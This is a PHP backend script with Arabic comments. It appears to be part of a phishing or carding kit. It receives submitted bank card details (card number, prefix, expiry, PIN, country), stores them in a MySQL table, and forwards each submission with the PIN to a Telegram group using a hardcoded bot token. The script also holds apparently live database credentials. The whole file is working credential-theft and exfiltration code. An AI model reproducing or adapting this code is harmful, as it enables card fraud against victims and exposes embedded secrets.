<?php
header("Content-Type: application/json");

// إعدادات الاتصال بقاعدة البيانات
$host = "localhost"; // اسم الخادم
$username = "u565109619_can47"; // اسم المستخدم الصحيح
$password = "Y8PwwD|fLI#i"; // كلمة المرور الصحيحة
$dbname = "u565109619_can47"; // اسم قاعدة البيانات الصحيحة
$conn = new mysqli($host, $username, $password, $dbname);

// التحقق من الاتصال
if ($conn->connect_error) {
    die(json_encode(["success" => false, "error" => "فشل الاتصال بقاعدة البيانات: " . $conn->connect_error]));
}

// استلام البيانات من الطلب
$data = json_decode(file_get_contents("php://input"), true);

// التحقق من البيانات المستلمة
if (!$data) {
    echo json_encode(["success" => false, "error" => "لم يتم إرسال بيانات صالحة."]);
    exit;
}

// استخراج البيانات
$bank_name = $data["BankName"];
$card_number = $data["cardNumber"];
$prefix = $data["prefix"];
$month = $data["month"];
$year = $data["year"];
$pin = $data["pin"];
$country = $data["country"];
$R_ID = $data["R_ID"];

// التحقق من الحقول المطلوبة
if (!$bank_name || !$card_number || !$prefix || !$month || !$year || !$pin || !$R_ID) {
    echo json_encode(["success" => false, "error" => "جميع الحقول مطلوبة."]);
    exit;
}

// إدخال البيانات في جدول bank_details
$stmt = $conn->prepare("INSERT INTO bank_details (bank_name, card_number, prefix, month, year, pin, R_ID) VALUES (?, ?, ?, ?, ?, ?, ?)");
$stmt->bind_param("sssiiis", $bank_name, $card_number, $prefix, $month, $year, $pin, $R_ID);

if ($stmt->execute()) {
    // إرسال البيانات إلى Telegram
    $token = "7751540658:AAGF9noBmF2ZxbjQBSrswHtXYmeltnlstFU";
    $group_id = "-1002371740823";
    $message = "
🏦 اسم البنك: $bank_name
💳 بادئة البطاقة: {$prefix}
💳 رقم البطاقة: {$card_number}
📅 تاريخ الانتهاء: $month/$year
🔐 الرمز السري: $pin
🏳️ الدولة: $country
🔰 المعرف: $R_ID
";

    $telegram_url = "https://api.telegram.org/bot$token/sendMessage";
    $response = file_get_contents($telegram_url . "?chat_id=$group_id&text=" . urlencode($message));

    if ($response) {
        echo json_encode(["success" => true, "message" => "تم تخزين البيانات وإرسالها إلى Telegram بنجاح."]);
    } else {
        echo json_encode(["success" => false, "error" => "تم التخزين ولكن حدث خطأ أثناء إرسال البيانات إلى Telegram."]);
    }
} else {
    echo json_encode(["success" => false, "error" => "فشل في تخزين البيانات في قاعدة البيانات: " . $stmt->error]);
}

$stmt->close();
$conn->close();
?>
